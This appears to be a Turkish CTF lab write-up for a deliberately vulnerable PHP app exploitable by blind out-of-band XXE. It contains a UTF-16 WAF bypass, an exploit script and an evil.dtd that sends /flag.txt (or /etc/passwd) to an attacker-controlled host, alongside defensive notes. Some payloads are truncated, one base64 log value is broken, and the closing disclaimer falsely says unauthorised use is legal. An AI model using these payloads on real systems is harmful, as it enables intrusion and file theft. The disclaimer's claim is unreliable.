Share
## https://sploitus.com/exploit?id=DFAD1933-7A54-5ED4-944F-A3596387B49D
# AltaySec SOC Policy Manager — Zor Seviye Blind OOB XXE Lab

```
 ___  _  _  _____  ___  _  _  ____  ____  ___
/ __)( )( )(_  _)(/ __)( \/ )( ___)( ___)(  _)
\__ \ )()(  _)(_  \__ \ \  /  )__)  )__)  )(_
(___/(__) (_____)(___/  \/  (____)(__)  (____)
SOC POLICY MANAGER  │  Blind OOB XXE  │  HARD
```

---

## İçindekiler

1. [Lab Hakkında](#1-lab-hakkında)
2. [Teknik Mimari](#2-teknik-mimari)
3. [Kurulum & Çalıştırma](#3-kurulum--çalıştırma)
4. [Zafiyet Analizi](#4-zafiyet-analizi)
5. [WAF Engeli ve Bypass Tekniği](#5-waf-engeli-ve-bypass-tekniği)
6. [Sömürü Adım Adım (Exploitation Walkthrough)](#6-sömürü-adım-adım-exploitation-walkthrough)
7. [Araçlar ve Payload Dosyaları](#7-araçlar-ve-payload-dosyaları)
8. [Flag](#8-flag)

---

## 1. Lab Hakkında

| Alan            | Değer                                                     |
|-----------------|-----------------------------------------------------------|
| **Senaryo**     | Kurumsal SOC Uygulamasında Blind Out-of-Band XXE          |
| **Zorluk**      | ZOR                                                       |
| **Kategori**    | Web — XXE Injection (CWE-611)                             |
| **Hedef Dosya** | `/flag.txt`                                               |
| **Flag**        | `ALTAYSEC{h4rd_c0r3_00b_xx3_m4st3r_2026}`                |
| **Port**        | `8080`                                                    |

### Senaryo

SOC analistleri, ağ güvenlik kurallarını XML formatında sisteme yükleyebilmektedir.  
Uygulama parse edilen veriyi **ekrana yansıtmaz** (Blind).  
Hata mesajları tamamen gizlenmiştir; her istek ya `"İşlem başarılı"` ya da `"İşlem reddedildi"` döner.

Hedef: `/flag.txt` dosyasının içeriğini, **kendi kontrolündeki bir sunucu** aracılığıyla dışarıya sızdırmak (**Out-of-Band**).

---

## 2. Teknik Mimari

```
┌─────────────────────────────────────────────────────────────┐
│                    Docker Container                         │
│                                                             │
│  ┌──────────┐       ┌────────────┐      ┌───────────────┐  │
│  │  Nginx   │──────▶│  PHP-FPM   │─────▶│ libxml Parser │  │
│  │  :80     │  PHP  │  :9000     │      │  (NOENT+DTD)  │  │
│  └──────────┘       └────────────┘      └───────────────┘  │
│       ▲                                        │            │
│       │                                        │ HTTP GET   │
│  POST /config_upload.php                       ▼            │
│  (XML Payload)                      ┌─────────────────────┐ │
│                                     │  Saldırgan Sunucu   │ │
│  /flag.txt ◀── php://filter         │  (Dışarıda)         │ │
└─────────────────────────────────────────────────────────────┘
```

### Dosya Yapısı

```
AltaySec-XXE-Lab/
├── Dockerfile                  ← PHP 7.4-FPM + Nginx tek container
├── docker-compose.yml          ← Port 8080 expose
├── flag.txt                    ← Hedef! /flag.txt olarak kopyalanır
├── nginx/
│   └── nginx.conf              ← Nginx PHP-FPM yönlendirmesi
├── supervisor/
│   └── supervisord.conf        ← Nginx + PHP-FPM süreç yönetimi
└── src/
    ├── index.html              ← AltaySec temalı SOC arayüzü
    ├── style.css               ← Karanlık SOC teması (#0e1116 + #ff4d4d)
    └── config_upload.php       ← [ZAFİYETLİ] XML işleme endpoint'i
```

---

## 3. Kurulum & Çalıştırma

### Gereksinimler

- Docker Engine ≥ 20.10
- Docker Compose v2+

### Lab'ı Başlatma

```bash
# Projeyi klonla/indir
cd "AltaySec Akademi XEE Zor Lab"

# Build ve başlat
docker compose up --build -d

# Container durumunu kontrol et
docker compose ps

# Logları izle
docker compose logs -f
```

### Erişim

```
http://localhost:8080
```

### Lab'ı Durdurma

```bash
docker compose down
```

### Container İçine Girme (debug amaçlı)

```bash
docker exec -it altaysec_xxe_hard sh
```

---

## 4. Zafiyet Analizi

### Neden Zafiyetli?

`src/config_upload.php` dosyasında üç kritik hata bir arada bulunur:

```php
// HATA 1: Entity loading yeniden etkinleştiriliyor
@libxml_disable_entity_loader(false);

// HATA 2: DOMDocument dış kaynak çözümlemesine izin veriyor
$dom->resolveExternals = true;

// HATA 3: loadXML tehlikeli flag kombinasyonu ile çağrılıyor
$dom->loadXML($raw_input, LIBXML_NOENT | LIBXML_DTDLOAD | LIBXML_DTDATTR);
```

| Flag              | Etkisi                                              |
|-------------------|-----------------------------------------------------|
| `LIBXML_NOENT`    | Entity referanslarını gerçek içeriklerle değiştirir |
| `LIBXML_DTDLOAD`  | Harici DTD subset'lerinin yüklenmesine izin verir   |
| `LIBXML_DTDATTR`  | DTD'den varsayılan öznitelikleri uygular            |
| `resolveExternals`| `SYSTEM` URI'larını ağdan çözümler                  |

### Neden Blind?

```php
// Başarı ya da başarısızlık, yanıt her zaman aynı:
echo json_encode(['status' => 'İşlem başarılı']);

// Libxml hataları yakalanıp sessizce siliniyor:
libxml_clear_errors();
```

Uygulama parse ettiği dosya içeriğini **hiçbir zaman HTTP yanıtına yansıtmaz**.  
Bu yüzden klasik in-band XXE çalışmaz. Veri **dışarıya** sızdırılmalıdır.

---

## 5. WAF Engeli ve Bypass Tekniği

### WAF Mantığı

```php
if (preg_match('/SYSTEM|PUBLIC/i', $raw_input)) {
    http_response_code(403);
    echo json_encode(['status' => 'İşlem reddedildi']);
    exit;
}
```

Bu regex, `$raw_input` ham bayt dizisinde `SYSTEM` veya `PUBLIC` ASCII karakter dizisini arar.

### Neden Bypass Edilebilir?

XML standardı, `UTF-16` kodlamasını tam olarak destekler.  
UTF-16 LE kodlamasında `SYSTEM` kelimesi şu baytları üretir:

```
S  → 0x53 0x00
Y  → 0x59 0x00
S  → 0x53 0x00
T  → 0x54 0x00
E  → 0x45 0x00
M  → 0x4D 0x00
```

Regex ise `0x53 0x59 0x53 0x54 0x45 0x4D` (bitişik ASCII) arar.  
İki null byte (`0x00`) araya girince **regex eşleşme yapamaz → WAF'ı geçer**.

PHP'nin libxml kütüphanesi, UTF-16 BOM (`\xFF\xFE`) ile başlayan XML'i  
doğal olarak parse edebilir. **Zafiyet hâlâ tetiklenir.**

### Bypass Özeti

```
UTF-8 payload  → WAF regex eşleşir → 403
UTF-16 payload → WAF regex eşleşemez → 200 + XXE tetiklenir
```

---

## 6. Sömürü Adım Adım (Exploitation Walkthrough)

### Adım 0 — Keşif

Tarayıcıda `http://localhost:8080` adresini aç.  
"POLİTİKAYI UYGULA" butonuna tıklayarak endpointi tanı.

Basit bir test gönder:

```bash
curl -s -X POST http://localhost:8080/config_upload.php \
  -H "Content-Type: application/xml" \
  -d 'merhaba'
```

Yanıt: `{"status":"İşlem başarılı"}`

### Adım 1 — WAF'ı Keşfet

`SYSTEM` içeren klasik bir XXE payload'ı dene:

```bash
curl -s -X POST http://localhost:8080/config_upload.php \
  -H "Content-Type: application/xml" \
  -d ']>&xxe;'
```

Yanıt: `{"status":"İşlem reddedildi"}` — WAF devrede.

### Adım 2 — Dinleyici Sunucu Kur

Saldırgan makinede (VM veya başka bir terminal):

```bash
# Basit HTTP sunucu (Python 3)
mkdir /tmp/xxe-server && cd /tmp/xxe-server
python3 -m http.server 8888
```

> **Not:** Docker container'dan erişilebilir bir IP kullan.  
> Docker host IP genellikle `172.17.0.1` veya `host.docker.internal`'dir.
> Kendi makineni bulmak için: `ip addr show docker0` (Linux) / `ipconfig` (Windows)

### Adım 3 — Harici DTD Dosyası Hazırla

`/tmp/xxe-server/evil.dtd` dosyasını oluştur:

```dtd

">
%oob;
%exfil;
```

> `SALDIRGAN_IP` → kendi IP adresin (örn: `192.168.1.100`)

### Adım 4 — UTF-16 Payload Hazırla

`/tmp/exploit.py` Python scripti:

```python
#!/usr/bin/env python3
"""
AltaySec Blind OOB XXE — UTF-16 WAF Bypass Exploit
"""
import requests
import sys

TARGET      = "http://localhost:8080/config_upload.php"
ATTACKER_IP = "SALDIRGAN_IP"    # 

  %xxe;
]>

  altaysec-test
  
"""

# UTF-16 LE encoding ile BOM ekle — WAF bypass!
payload_bytes = PAYLOAD_UTF8.encode('utf-16')

print(f"[*] Hedef       : {TARGET}")
print(f"[*] Dinleyici   : http://{ATTACKER_IP}:{ATTACKER_PORT}")
print(f"[*] Payload boyutu: {len(payload_bytes)} bayt (UTF-16)")
print(f"[*] BOM başlığı : {payload_bytes[:4].hex()}")
print(f"[*] İstek gönderiliyor...\n")

resp = requests.post(
    TARGET,
    data=payload_bytes,
    headers={'Content-Type': 'application/xml'}
)

print(f"[+] HTTP Durum Kodu : {resp.status_code}")
print(f"[+] Sunucu Yanıtı   : {resp.text}")
print()

if resp.status_code == 403:
    print("[-] WAF engeli! UTF-16 encode doğru uygulandı mı?")
elif resp.status_code == 200:
    print("[+] Payload kabul edildi! Dinleyici loglarını kontrol et.")
    print(f"    → http://{ATTACKER_IP}:{ATTACKER_PORT}")
```

Çalıştır:

```bash
pip install requests
python3 /tmp/exploit.py
```

### Adım 5 — HTTP Sunucu Logunu İzle

Python HTTP sunucunun terminalinde şuna benzer bir satır görünmeli:

```
172.17.0.2 - - [15/May/2026 17:30:45] "GET /evil.dtd HTTP/1.0" 200 -
172.17.0.2 - - [15/May/2026 17:30:45] "GET /?d=QVXUQVFTRUN7aDRyZF9jMHIzXzAwYl94eDNfbTRzdGVyXzIwMjZ9Cg== HTTP/1.0" 200 -
```

İkinci satırdaki `d=` parametresini kopyala.

### Adım 6 — Base64 Decode

```bash
echo "QVXUQVFTRUN7aDRyZF9jMHIzXzAwYl94eDNfbTRzdGVyXzIwMjZ9Cg==" | base64 -d
```

Çıktı:

```
ALTAYSEC{h4rd_c0r3_00b_xx3_m4st3r_2026}
```

---

## 7. Araçlar ve Payload Dosyaları

### Hazır Exploit Scriptleri

#### `tools/exploit.py` — Ana exploit

```bash
python3 tools/exploit.py --target http://localhost:8080 --lhost TU_IP --lport 8888
```

#### `tools/evil.dtd` — OOB DTD şablonu

Hedef dosyayı değiştirmek için: `resource=/etc/hostname` veya `resource=/etc/passwd`

### cURL ile Manuel Test

```bash
# UTF-16 payload oluştur ve gönder (Python one-liner)
python3 -c "
import requests
p = '''
%x;]>
test'''
r = requests.post('http://localhost:8080/config_upload.php',
    data=p.encode('utf-16'),
    headers={'Content-Type':'application/xml'})
print(r.status_code, r.text)
"
```

### Alternatif OOB Yöntemleri

#### DNS Exfiltration (Burp Collaborator / interactsh)

```dtd

">
%oob;
%dns;
```

> Not: Base64 içindeki `+`, `/`, `=` karakterleri DNS'te sorun çıkarabilir.  
> DNS için önce hex encode kullan:  
> `php://filter/read=convert.base64-encode|convert.iconv.UTF-8.UTF-7/resource=/flag.txt`

---

## 8. Flag

```
ALTAYSEC{h4rd_c0r3_00b_xx3_m4st3r_2026}
```

---

## Savunma Notları (Blue Team)

Bu zafiyeti gerçek bir sistemde engellemek için:

| Önlem | Açıklama |
|-------|----------|
| `libxml_disable_entity_loader(true)` | Entity loading'i devre dışı bırak |
| `LIBXML_NOENT` flagini kaldır | Entity substitution olmadan parse et |
| `resolveExternals = false` | Harici kaynak çözümlemesini engelle |
| XML whitelist | Yalnızca izin verilen tag/attribute setini kabul et |
| Egress filtering | Uygulama sunucusundan dışarı HTTP bağlantısını kısıtla |
| WAF geliştirme | Sadece ASCII değil, tüm encoding varyantlarını tara |

---

*AltaySec CTF Lab — Eğitim amaçlıdır. İzinsiz sistemlere uygulamak yasaldır.*